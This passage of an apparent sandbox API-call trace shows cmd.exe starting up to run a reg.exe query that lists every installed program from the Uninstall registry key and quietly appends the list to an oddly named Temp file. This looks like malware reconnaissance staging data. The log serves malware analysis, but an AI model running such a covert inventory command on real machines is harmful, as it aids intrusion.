hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1feb78 | out: phkResult=0x1feb78*=0x44) returned 0x0 [0146.544] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x0, lpData=0x1feb90*=0x40, lpcbData=0x1feb74*=0x1000) returned 0x2 [0146.544] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x4, lpData=0x1feb90*=0x1, lpcbData=0x1feb74*=0x4) returned 0x0 [0146.545] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x0, lpData=0x1feb90*=0x1, lpcbData=0x1feb74*=0x1000) returned 0x2 [0146.545] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x4, lpData=0x1feb90*=0x0, lpcbData=0x1feb74*=0x4) returned 0x0 [0146.545] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x4, lpData=0x1feb90*=0x9, lpcbData=0x1feb74*=0x4) returned 0x0 [0146.545] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x4, lpData=0x1feb90*=0x9, lpcbData=0x1feb74*=0x4) returned 0x0 [0146.545] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1feb70, lpData=0x1feb90, lpcbData=0x1feb74*=0x1000 | out: lpType=0x1feb70*=0x0, lpData=0x1feb90*=0x9, lpcbData=0x1feb74*=0x1000) returned 0x2 [0146.545] RegCloseKey (hKey=0x44) returned 0x0 [0146.545] time (in: timer=0x0 | out: timer=0x0) returned 0x5cfd2096 [0146.545] srand (_Seed=0x5cfd2096) [0146.545] GetCommandLineW () returned="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0146.545] GetCommandLineW () returned="cmd /C \"reg.exe query \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" /s >> C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1\"" [0146.545] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.545] GetProcessHeap () returned 0x260000 [0146.545] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x218) returned 0x27ab00 [0146.545] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x27ab10, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0146.545] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0146.545] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0146.545] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0146.545] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0146.545] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0146.546] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0146.546] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0146.546] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0146.546] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0146.546] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0146.546] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0146.546] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0146.546] GetProcessHeap () returned 0x260000 [0146.546] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x279600 | out: hHeap=0x260000) returned 1 [0146.546] GetEnvironmentStringsW () returned 0x278b80* [0146.546] GetProcessHeap () returned 0x260000 [0146.546] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xa90) returned 0x27b7c0 [0146.546] FreeEnvironmentStringsW (penv=0x278b80) returned 1 [0146.546] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0146.546] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0146.546] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0146.546] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0146.546] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0146.546] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0146.546] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0146.546] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0146.546] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0146.546] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0146.546] GetProcessHeap () returned 0x260000 [0146.546] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x38) returned 0x2765b0 [0146.546] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ff980 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.547] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x1ff980, lpFilePart=0x1ff960 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1ff960*="system32") returned 0x13 [0146.547] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0146.547] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x1ff690 | out: lpFindFileData=0x1ff690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdc77c7e0, ftLastAccessTime.dwHighDateTime=0x1d4d5d9, ftLastWriteTime.dwLowDateTime=0xdc77c7e0, ftLastWriteTime.dwHighDateTime=0x1d4d5d9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd70000d7, cFileName="Windows", cAlternateFileName="")) returned 0x261320 [0146.547] FindClose (in: hFindFile=0x261320 | out: hFindFile=0x261320) returned 1 [0146.547] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x1ff690 | out: lpFindFileData=0x1ff690*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd859920, ftLastAccessTime.dwHighDateTime=0x1d4d5f8, ftLastWriteTime.dwLowDateTime=0xd859920, ftLastWriteTime.dwHighDateTime=0x1d4d5f8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd70000d7, cFileName="System32", cAlternateFileName="")) returned 0x261320 [0146.547] FindClose (in: hFindFile=0x261320 | out: hFindFile=0x261320) returned 1 [0146.547] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0146.547] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0146.547] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0146.547] GetProcessHeap () returned 0x260000 [0146.547] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27b7c0 | out: hHeap=0x260000) returned 1 [0146.547] GetEnvironmentStringsW () returned 0x278b80* [0146.547] GetProcessHeap () returned 0x260000 [0146.547] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xac0) returned 0x27ad20 [0146.547] FreeEnvironmentStringsW (penv=0x278b80) returned 1 [0146.547] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0146.547] GetProcessHeap () returned 0x260000 [0146.547] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x2765b0 | out: hHeap=0x260000) returned 1 [0146.547] GetProcessHeap () returned 0x260000 [0146.547] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4016) returned 0x27cd30 [0146.548] GetProcessHeap () returned 0x260000 [0146.548] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x114) returned 0x27b7f0 [0146.548] GetProcessHeap () returned 0x260000 [0146.548] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4010) returned 0x280d50 [0146.548] GetProcessHeap () returned 0x260000 [0146.548] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4010) returned 0x284d70 [0146.549] GetProcessHeap () returned 0x260000 [0146.549] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cd30 | out: hHeap=0x260000) returned 1 [0146.549] GetConsoleOutputCP () returned 0x1b5 [0146.549] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1 [0146.549] GetUserDefaultLCID () returned 0x409 [0146.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a047b50, cchData=8 | out: lpLCData=":") returned 2 [0146.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1ffa90, cchData=128 | out: lpLCData="0") returned 2 [0146.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1ffa90, cchData=128 | out: lpLCData="0") returned 2 [0146.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1ffa90, cchData=128 | out: lpLCData="1") returned 2 [0146.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a05a740, cchData=8 | out: lpLCData="/") returned 2 [0146.549] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a05a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0146.550] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a05a460, cchData=32 | out: lpLCData="Tue") returned 4 [0146.550] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a05a420, cchData=32 | out: lpLCData="Wed") returned 4 [0146.550] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a05a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0146.550] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a05a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0146.550] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a05a360, cchData=32 | out: lpLCData="Sat") returned 4 [0146.550] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a05a700, cchData=32 | out: lpLCData="Sun") returned 4 [0146.550] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a047b40, cchData=8 | out: lpLCData=".") returned 2 [0146.550] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a05a4e0, cchData=8 | out: lpLCData=",") returned 2 [0146.550] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0146.551] GetProcessHeap () returned 0x260000 [0146.551] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x20c) returned 0x27b980 [0146.551] GetConsoleTitleW (in: lpConsoleTitle=0x27b980, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0146.551] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0146.551] GetProcAddress (hModule=0x77040000, lpProcName="CopyFileExW") returned 0x770523d0 [0146.551] GetProcAddress (hModule=0x77040000, lpProcName="IsDebuggerPresent") returned 0x77048290 [0146.551] GetProcAddress (hModule=0x77040000, lpProcName="SetConsoleInputExeNameW") returned 0x770517e0 [0146.551] GetProcessHeap () returned 0x260000 [0146.551] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x4012) returned 0x27cd30 [0146.551] GetProcessHeap () returned 0x260000 [0146.551] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x27cd30 | out: hHeap=0x260000) returned 1 [0146.552] _wcsicmp (_String1="reg.exe", _String2=")") returned 73 [0146.552] _wcsicmp (_String1="FOR", _String2="reg.exe") returned -12 [0146.552] _wcsicmp (_String1="FOR/?", _String2="reg.exe") returned -12 [0146.552] _wcsicmp (_String1="IF", _String2="reg.exe") returned -9 [0146.552] _wcsicmp (_String1="IF/?", _String2="reg.exe") returned -9 [0146.552] _wcsicmp (_String1="REM", _String2="reg.exe") returned 6 [0146.552] _wcsicmp (_String1="REM/?", _String2="reg.exe") returned 6 [0146.552] GetProcessHeap () returned 0x260000 [0146.552] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xb0) returned 0x27bba0 [0146.552] GetProcessHeap () returned 0x260000 [0146.552] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x20) returned 0x2746b0 [0146.553] GetProcessHeap () returned 0x260000 [0146.553] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x9c) returned 0x27bc60 [0146.553] GetProcessHeap () returned 0x260000 [0146.553] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x38) returned 0x2765b0 [0146.556] GetProcessHeap () returned 0x260000 [0146.556] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x6e) returned 0x27bd10 [0146.557] GetProcessHeap () returned 0x260000 [0146.557] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x28) returned 0x2746e0 [0146.557] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.557] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.557] _get_osfhandle (_FileHandle=1) returned 0x7 [0146.557] GetFileType (hFile=0x7) returned 0x2 [0146.557] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0146.557] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1ff968 | out: lpMode=0x1ff968) returned 1 [0146.558] _dup (_FileHandle=1) returned 3 [0146.558] _close (_FileHandle=1) returned 0 [0146.558] _wcsicmp (_String1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1", _String2="con") returned -53 [0146.558] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1D0E.bin1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1d0e.bin1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1ff918, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0146.559] _open_osfhandle (_OSFileHandle=0x50, _Flags=8) returned 1 [0146.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.559] GetFileType (hFile=0x50) returned 0x1 [0146.559] GetFileSize (in: hFile=0x50, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x64d1 [0146.559] SetFilePointer (in: hFile=0x50, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1ff978*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ff978*=0) returned 0x64d0 [0146.559] ReadFile (in: hFile=0x50, lpBuffer=0x1ff968, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff910, lpOverlapped=0x0 | out: lpBuffer=0x1ff968*, lpNumberOfBytesRead=0x1ff910*=0x1, lpOverlapped=0x0) returned 1 [0146.559] GetConsoleTitleW (in: lpConsoleTitle=0x1ff9a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0146.559] GetFileAttributesW (lpFileName="reg.exe" (normalized: "c:\\windows\\system32\\reg.exe")) returned 0x20 [0146.560] _wcsicmp (_String1="reg.exe", _String2="DIR") returned 14 [0146.560] _wcsicmp (_String1="reg.exe", _String2="ERASE") returned 13 [0146.560] _wcsicmp (_String1="reg.exe", _String2="DEL") returned 14 [0146.560] _wcsicmp (_String1="reg.exe", _String2="TYPE") returned -2 [0146.560] _wcsicmp (_String1="reg.exe", _String2="COPY") returned 15 [0146.560] _wcsicmp (_String1="reg.exe", _String2="CD") returned 15 [0146.560] _wcsicmp (_String1="reg.exe", _String2="CHDIR") returned 15 [0146.560] _wcsicmp (_String1="reg.exe", _String2="RENAME") returned -7 [0146.560] _wcsicmp (_String1="reg.exe", _String2="REN") returned -7 [0146.560] _wcsicmp (_String1="reg.exe", _String2="ECHO") returned 13 [0146.560] _wcsicmp (_String1="reg.exe", _String2="SET") returned -1 [0146.560] _wcsicmp (_String1="reg.exe", _String2="PAUSE") returned 2 [0146.560] _wcsicmp (_String1="reg.exe", _String2="DATE") returned 14 [0146.560] _wcsicmp (_String1="reg.exe", _String2="TIME") returned -2 [0146.560] _wcsicmp (_String1="reg.exe", _String2="PROMPT") returned 2 [0146.560] _wcsicmp (_String1="reg.exe", _String2="MD") returned 5 [0146.561] _wcsicmp (_String1="reg.exe", _String2="MKDIR") returned 5 [0146.561] _wcsicmp (_String1="reg.exe", _String2="RD") returned 1 [0146.561] _wcsicmp (_String1="reg.exe", _String2="RMDIR") returned -8 [0146.561] _wcsicmp (_String1="reg.exe", _String2="PATH") returned 2 [0146.561] _wcsicmp (_String1="reg.exe", _String2="GOTO") returned 11 [0146.561] _wcsicmp (_String1="reg.exe", _String2="SHIFT") returned -1 [0146.561] _wcsicmp (_String1="reg.exe", _String2="CLS") returned 15 [0146.561] _wcsicmp (_String1="reg.exe", _String2="CALL") returned 15 [0146.561] _wcsicmp (_String1="reg.exe", _String2="VERIFY") returned -4 [0146.561] _wcsicmp (_String1="reg.exe", _String2="VER") returned -4 [0146.561] _wcsicmp (_String1="reg.exe", _String2="VOL") returned -4 [0146.561] _wcsicmp (_String1="reg.exe", _String2="EXIT") returned 13 [0146.561] _wcsicmp (_String1="reg.exe", _String2="SETLOCAL") returned -1 [0146.561] _wcsicmp (_String1="reg.exe", _String2="ENDLOCAL") returned 13 [0146.561] _wcsicmp (_String1="reg.exe", _String2="TITLE") returned -2 [0146.561] _wcsicmp (_String1="reg.exe", _String2="START") returned -1 [0146.561] _wcsicmp (_String1="reg.exe", _String2="DPATH") returned 14 [0146.561] _wcsicmp (_String1="reg.exe", _String2="KEYS") returned 7 [0146.561] _wcsicmp (_String1="reg.exe", _String2="MOVE") returned 5 [0146.561] _wcsicmp (_String1="reg.exe", _String2="PUSHD") returned 2 [0146.561] _wcsicmp (_String1="reg.exe", _String2="POPD") returned 2 [0146.561] _wcsicmp (_String1="reg.exe", _String2="ASSOC") returned 17 [0146.561] _wcsicmp (_String1="reg.exe", _String2="FTYPE") returned 12 [0146.561] _wcsicmp (_String1="reg.exe", _String2="BREAK") returned 16 [0146.561] _wcsicmp (_String1="reg.exe", _String2="COLOR") returned 15 [0146.561] _wcsicmp (_String1="reg.exe", _String2="MKLINK") returned 5 [0146.561] _wcsicmp (_String1="reg.exe", _String2="DIR") returned 14 [0146.561] _wcsicmp (_String1="reg.exe", _String2="ERASE") returned 13 [0146.561] _wcsicmp (_String1="reg.exe", _String2="DEL") returned 14 [0146.561] _wcsicmp (_String1="reg.exe", _String2="TYPE") returned -2 [0146.561] _wcsicmp (_String1="reg.exe", _String2="COPY") returned 15 [0146.561] _wcsicmp (_String1="reg.exe", _String2="CD") returned 15 [0146.561] _wcsicmp (_String1="reg.exe", _String2="CHDIR") returned 15 [0146.561] _wcsicmp (_String1="reg.exe", _String2="RENAME") returned -7 [0146.561] _wcsicmp (_String1="reg.exe", _String2="REN") returned -7 [0146.561] _wcsicmp (_String1="reg.exe", _String2="ECHO") returned 13 [0146.561] _wcsicmp (_String1="reg.exe", _String2="SET") returned -1 [0146.561] _wcsicmp (_String1="reg.exe", _String2="PAUSE") returned 2 [0146.561] _wcsicmp (_String1="reg.exe", _String2="DATE") returned 14 [0146.562] _wcsicmp (_String1="reg.exe", _String2="TIME") returned -2 [0146.562] _wcsicmp (_String1="reg.exe", _String2="PROMPT") returned 2 [0146.562] _wcsicmp (_String1="reg.exe", _String2="MD") returned 5 [0146.562] _wcsicmp (_String1="reg.exe", _String2="MKDIR") returned 5 [0146.562] _wcsicmp (_String1="reg.exe", _String2="RD") returned 1 [0146.562] _wcsicmp (_String1="reg.exe", _String2="RMDIR") returned -8 [0146.562] _wcsicmp (_String1="reg.exe", _String2="PATH") returned 2 [0146.562] _wcsicmp (_String1="reg.exe", _String2="GOTO") returned 11 [0146.562] _wcsicmp (_String1="reg.exe", _String2="SHIFT") returned -1 [0146.562] _wcsicmp (_String1="reg.exe", _String2="CLS") returned 15 [0146.562] _wcsicmp (_String1="reg.exe", _String2="CALL") returned 15 [0146.562] _wcsicmp (_String1="reg.exe", _String2="VERIFY") returned -4 [0146.562] _wcsicmp (_String1="reg.exe", _String2="VER") returned -4 [0146.562] _wcsicmp (_String1="reg.exe", _String2="VOL") returned -4 [0146.562] _wcsicmp (_String1="reg.exe", _String2="EXIT") returned 13 [0146.562] _wcsicmp (_String1="reg.exe", _String2="SETLOCAL") returned -1 [0146.562] _wcsicmp (_String1="reg.exe", _String2="ENDLOCAL") returned 13 [0146.562] _wcsicmp (_String1="reg.exe", _String2="TITLE") returned -2 [0146.562] _wcsicmp (_String1="reg.exe", _String2="START") returned -1 [0146.562] _wcsicmp (_String1="reg.exe", _String2="DPATH") returned 14 [0146.562] _wcsicmp (_String1="reg.exe", _String2="KEYS") returned 7 [0146.562] _wcsicmp (_String1="reg.exe", _String2="MOVE") returned 5 [0146.562] _wcsicmp (_String1="reg.exe", _String2="PUSHD") returned 2 [0146.562] _wcsicmp (_String1="reg.exe", _String2="POPD") returned 2 [0146.562] _wcsicmp (_String1="reg.exe", _String2="ASSOC") returned 17 [0146.562] _wcsicmp (_String1="reg.exe", _String2="FTYPE") returned 12 [0146.562] _wcsicmp (_String1="reg.exe", _String2="BREAK") returned 16 [0146.562] _wcsicmp (_String1="reg.exe", _String2="COLOR") returned 15 [0146.562] _wcsicmp (_String1="reg.exe", _String2="MKLINK") returned 5 [0146.562] _wcsicmp (_String1="reg.exe", _String2="FOR") returned 12 [0146.562] _wcsicmp (_String1="reg.exe", _String2="IF") returned 9 [0146.562] _wcsicmp (_String1="reg.exe", _String2="REM") returned -6 [0146.563] GetProcessHeap () returned 0x260000 [0146.563] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x218) returned 0x27bd90 [0146.563] GetProcessHeap () returned 0x260000 [0146.563] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xac) returned 0x27bfb0 [0146.563] _wcsnicmp (_String1="reg.", _String2="cmd ", _MaxCount=0x4) returned 15 [0146.563] GetProcessHeap () returned 0x260000 [0146.563] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x420) returned 0x261320 [0146.563] SetErrorMode (uMode=0x0) returned 0x0 [0146.563] SetErrorMode (uMode=0x1) returned 0x0 [0146.563] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x261330, lpFilePart=0x1ff230 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x1ff230*="system32") returned 0x13 [0146.563] SetErrorMode (uMode=0x0) returned 0x1 [0146.563] GetProcessHeap () returned 0x260000 [0146.563] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x261320, Size=0x48) returned 0x261320 [0146.563] GetProcessHeap () returned 0x260000 [0146.563] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x261320) returned 0x48 [0146.563] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0146.563] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0146.564] GetProcessHeap () returned 0x260000 [0146.564] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x104) returned 0x27c070 [0146.564] GetProcessHeap () returned 0x260000 [0146.564] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x1f8) returned 0x261380 [0146.568] GetProcessHeap () returned 0x260000 [0146.568] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x261380, Size=0x106) returned 0x261380 [0146.568] GetProcessHeap () returned 0x260000 [0146.568] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x261380) returned 0x106 [0146.568] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0146.568] GetProcessHeap () returned 0x260000 [0146.568] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0xe8) returned 0x2614a0 [0146.568] GetProcessHeap () returned 0x260000 [0146.568] RtlReAllocateHeap (Heap=0x260000, Flags=0x0, Ptr=0x2614a0, Size=0x7e) returned 0x2614a0 [0146.568] GetProcessHeap () returned 0x260000 [0146.568] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x2614a0) returned 0x7e [0146.569] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0146.569] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\reg.exe", fInfoLevelId=0x1, lpFindFileData=0x1fefa0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1fefa0) returned 0x27c180 [0146.569] GetProcessHeap () returned 0x260000 [0146.569] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x28) returned 0x274710 [0146.569] FindClose (in: hFindFile=0x27c180 | out: hFindFile=0x27c180) returned 1 [0146.569] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0146.569] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0146.569] GetConsoleTitleW (in: lpConsoleTitle=0x1ff4f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0146.569] InitializeProcThreadAttributeList (in: lpAttributeList=0x1ff2a8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1ff268 | out: lpAttributeList=0x1ff2a8, lpSize=0x1ff268) returned 1 [0146.569] UpdateProcThreadAttribute (in: lpAttributeList=0x1ff2a8, dwFlags=0x0, Attribute=0x60001, lpValue=0x1ff258, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1ff2a8, lpPreviousValue=0x0) returned 1 [0146.570] GetStartupInfoW (in: lpStartupInfo=0x1ff3c0 | out: lpStartupInfo=0x1ff3c0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x0, hStdError=0x0)) [0146.570] GetProcessHeap () returned 0x260000 [0146.570] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x20) returned 0x274740 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0146.570] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0146.570] _wcsnicmp (_String1="COPYCMD", 